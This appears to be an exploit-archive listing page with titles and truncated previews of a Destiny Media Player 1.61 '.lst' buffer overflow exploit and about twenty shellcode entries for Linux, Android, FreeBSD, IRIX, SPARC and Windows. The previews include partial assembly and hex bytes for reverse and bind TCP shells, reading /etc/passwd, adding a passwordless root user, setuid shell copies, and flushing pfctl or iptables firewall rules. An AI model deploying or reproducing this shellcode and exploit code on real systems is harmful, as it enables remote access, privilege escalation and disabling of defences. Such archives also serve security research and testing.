Destiny Media Player 1.61 - '.lst' Local Buffer Overflow (1)

Destiny Media Player 1.61 lst File Local Buffer overflow Exploit By:Encrypt3d.M!nd i was so stupid when i wrote the poc coz i didn't realize somethings :p well this is workin exploit tested on windows xp sp3 don't double click the file,import it from the program Greetz:-=Mizo=-thnx dude :X,L!0N,E...

Destiny Media Player 1.61 - '.lst' Local Buffer Overflow (4)

usage: exploit.py print "" print " Destiny Media Player 1.61 .lst File Local Stack Overflow Exploit\n" print " Founder: Encrypt3d.M!nd" print " exploit & code: Stack" print " Tested on: Windows XP Pro SP2 Fr\n" print " Greetings to:" print " All friends \n" print "" buff = "\x41" 2052 EIP =...

Android/ARM - Reverse TCP (10.0.2.2:0x3412/TCP) Shell (/system/bin/sh) Shellcode (79 bytes)

Android/ARM - Reverse TCP 10.0.2.2:0x3412/TCP Shell /system/bin/sh Shellcode 79 bytes. Shellcode exploit for ARM platform / This ARM Thumb sc connects to a given IP and port with a shell. Intended for use with Android hence /system/bin/sh. Connects to the provided IP and port with a shell no null...

Linux/x86 - execve() Using JMP-FSTENV Shellcode (67 bytes)

Linux/x86 - execve Using JMP-FSTENV Shellcode 67 bytes. Shellcode exploit for Linuxx86 platform ;Description: JMP-FSTENV execve shell 67 bytes ;Shellcode:...

FreeBSD/x86 - /sbin/pfctl -F all Shellcode (47 bytes)

FreeBSD/x86 - /sbin/pfctl -F all Shellcode 47 bytes. Shellcode exploit for FreeBSDx86 platform / Title: FreeBSD 8.0-RELEASE/x86 '//sbin/pfctl -F all Shellcode 47 Bytes' Type: Shellcode Author: antrhacks Platform: FreeBSD 8.0-RELEASE / / ASSembly 31 c0 xor %eax,%eax 50 push %eax 68 2d 46 61 6c pus...

IRIX - execve(/bin/sh) Shellcode (43 bytes)

IRIX - execve/bin/sh Shellcode 43 bytes. Shellcode exploit for IRIX platform char shellcode= "\x04\x10\xff\xff" / bltzal $zero, / "\x24\x02\x03\xf3" / li $v0,1011 / "\x23\xff\x02\x14" / addi $ra,$ra,532 / "\x23\xe4\xfe\x08" / addi $a0,$ra,-504 / "\x23\xe5\xfe\x10" / addi $a1,$ra,-496 /...

Linux/SuperH (sh4) - Bind TCP (31337/TCP) Shell (/bin/sh) Shellcode (132 bytes)

Linux/SuperH sh4 - Bind TCP 31337/TCP Shell /bin/sh Shellcode 132 bytes. Shellcode exploit for SuperHSH4 platform / Bind /bin/sh on port 31337 SH4 - 132bytes Dad main: mov 102,r3 mov 2,r4 mov 1,r5 xor r6,r6 mov.l r6,@-r15 mov.l r5,@-r15 mov.l r4,@-r15 mov 1,r4 mov r15,r5 trapa 19 mov r0,r4 mov...

Linux/SPARC - setreuid(0,0) + execve(/bin/sh) Shellcode (64 bytes)

Linux/SPARC - setreuid0,0 + execve/bin/sh Shellcode 64 bytes. Shellcode exploit for LinuxSPARC platform / Linux/SPARC setreuid0,0; execve of /bin/sh shellcode. / char c0de = / anathema / / setreuid0,0; / "\x82\x10\x20\x7e" / mov 126, %g1 / "\x92\x22\x40\x09" / sub %o1, %o1, %o1 / "\x90\x0a\x40\x0...

Linux/x86-64 - Bind TCP (1337/TCP) Shell + Password (pAzzW0rd) + Egghunter Using sys_access() Shellcode (49 bytes)

Linux/x86-64 - Bind TCP 1337/TCP Shell + Password pAzzW0rd + Egghunter Using sysaccess Shellcode 49 bytes. Shellcode exploit for Linuxx86-64 platform ; Author Doreth.Z10 ; ; Linux x8664 Egghunter using sysaccess ; Shellcode size 49 bytes ; global start section .text start: xor rsi, rsi ; Some pre...

Linux/x86-64 - Read /etc/passwd Shellcode (82 bytes)

Linux/x86-64 - Read /etc/passwd Shellcode 82 bytes. Shellcode exploit for Linuxx86-64 platform BITS 64 ; Author Mr.Un1k0d3r - RingZer0 Team ; Read /etc/passwd Linux x8664 Shellcode ; Shellcode size 82 bytes global start section .text start: jmp pushfilename readfile: ; syscall open file pop rdi ;...

Linux/x86-64 - Bind TCP (4444/TCP) Shell (/bin/sh) + Password (Password) Shellcode (173 bytes)

Linux/x86-64 - Bind TCP 4444/TCP Shell /bin/sh + Password Password Shellcode 173 bytes. Shellcode exploit for Linuxx86-64 platform ;BindTCP 4444 with password ; ;Default password = Password ; ;If connected the shellcode no prompt for password ; ;Enter password directly and you get the bin/sh shel...

Linux/x86 - fork() + setreuid(0, 0) + execve(cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh) Shellcode (126 bytes)

Linux/x86 - fork + setreuid0, 0 + execvecp /bin/sh /tmp/sh; chmod 4755 /tmp/sh Shellcode 126 bytes. Shellcode exploit for Linuxx86 platform / linux/x86 shamelessly ripped from one of my unpublished exploits / / fork's, does setreuid0, 0; then execve's: /bin/sh -c "cp /bin/sh /tmp/sh; chmod 4755...

Linux/x86 - Add Root User To /etc/passwd + No Password + exit() Shellcode (83 bytes)

Linux/x86 - Add Root User To /etc/passwd + No Password + exit Shellcode 83 bytes. Shellcode exploit for Linuxx86 platform / Linux x86 shellcode, to open write close and / / exit, adds a root user no-passwd to /etc/passwd / / By bob from dtors.net / include char shellcode=...

Linux/x86 - chmod(/bin/sh,04775) + set sh +s Shellcode (31 bytes)

Linux/x86 - chmod/bin/sh,04775 + set sh +s Shellcode 31 bytes. Shellcode exploit for Linuxx86 platform / Linux x86 shellcode by bob from Dtors.net. chmod"//bin/sh" ,04775; set sh +s / include char shellcode= "\x31\xc0\x31\xdb\x31\xc9\x53\x68\x6e" "\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"...

Linux/x86 - /sbin/iptables -POUTPUT DROP Shellcode (60 bytes)

Linux/x86 - /sbin/iptables -POUTPUT DROP Shellcode 60 bytes. Shellcode exploit for Linuxx86 platform Name = John Babio Twitter = 3vi1john Arch = Linux/x86-32 bits Code ///sbin/iptables -POUTPUT DROPPolicy of drop to OUTPUT chain const char sc =...

Linux/x86 - execve(/bin/sh) Shellcode (28 bytes)

Linux/x86 - execve/bin/sh Shellcode 28 bytes. Shellcode exploit for Linuxx86 platform / Title: Linux x86 execve"/bin/sh" - 28 bytes Author: Jean Pascal Pereira Web: http://0xffe4.org Disassembly of section .text: 08048060 : 8048060: 31 c0 xor %eax,%eax 8048062: 50 push %eax 8048063: 68 2f 2f 73 6...

Linux/x86 - execve(/bin/sh) Shellcode (23 bytes) (2)

Linux/x86 - execve/bin/sh Shellcode 23 bytes 2. Shellcode exploit for Linuxx86 platform Linux/x86 execve /bin/sh shellcode 23 bytes Author: Hamza Megahed Twitter: @HamzaMega blog: hamza-megadotblogspotdotcom E-mail: hamzadotmegahedatgmaildotcom xor %eax,%eax push %eax push $0x68732f2f push...

Linux/x86-64 - Bind TCP (4444/TCP) + Stager + Egghunter (0x64616564) Shellcode (157 bytes)

Linux/x86-64 - Bind TCP 4444/TCP + Stager + Egghunter 0x64616564 Shellcode 157 bytes. Shellcode exploit for Linuxx86-64 platform ;Exam Assignment 3 ;implementation of egghunter ;Default egg = "deaddead" ; ;If connected the stager check of egg , if present execute the code ; ;You can send a maximu...

Linux/x86 - setreuid(0,0) + execve("/bin/ksh", [/bin/ksh, NULL]) + XOR Encoded Shellcode (53 bytes)

Linux/x86 - setreuid0,0 + execve"/bin/ksh", /bin/ksh, NULL + XOR Encoded Shellcode 53 bytes. Shellcode exploit for Linuxx86 platform Title: Linux x86 setreuid 0,0 & execve"/bin/ksh", "/bin/ksh", NULL + XOR encoded - 53 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware 13.37...

Windows/x86 (XP Professional SP2) (English) - Wordpad.exe Shellcode (15 bytes)

Windows/x86 XP Professional SP2 English - Wordpad.exe Shellcode 15 bytes. Shellcode exploit for Windowsx86 platform. Tags: Metasploit Framework MSF +-------------------------------------------------+ | Windows XP Pro Sp2 English "Wordpad" Shellcode. |...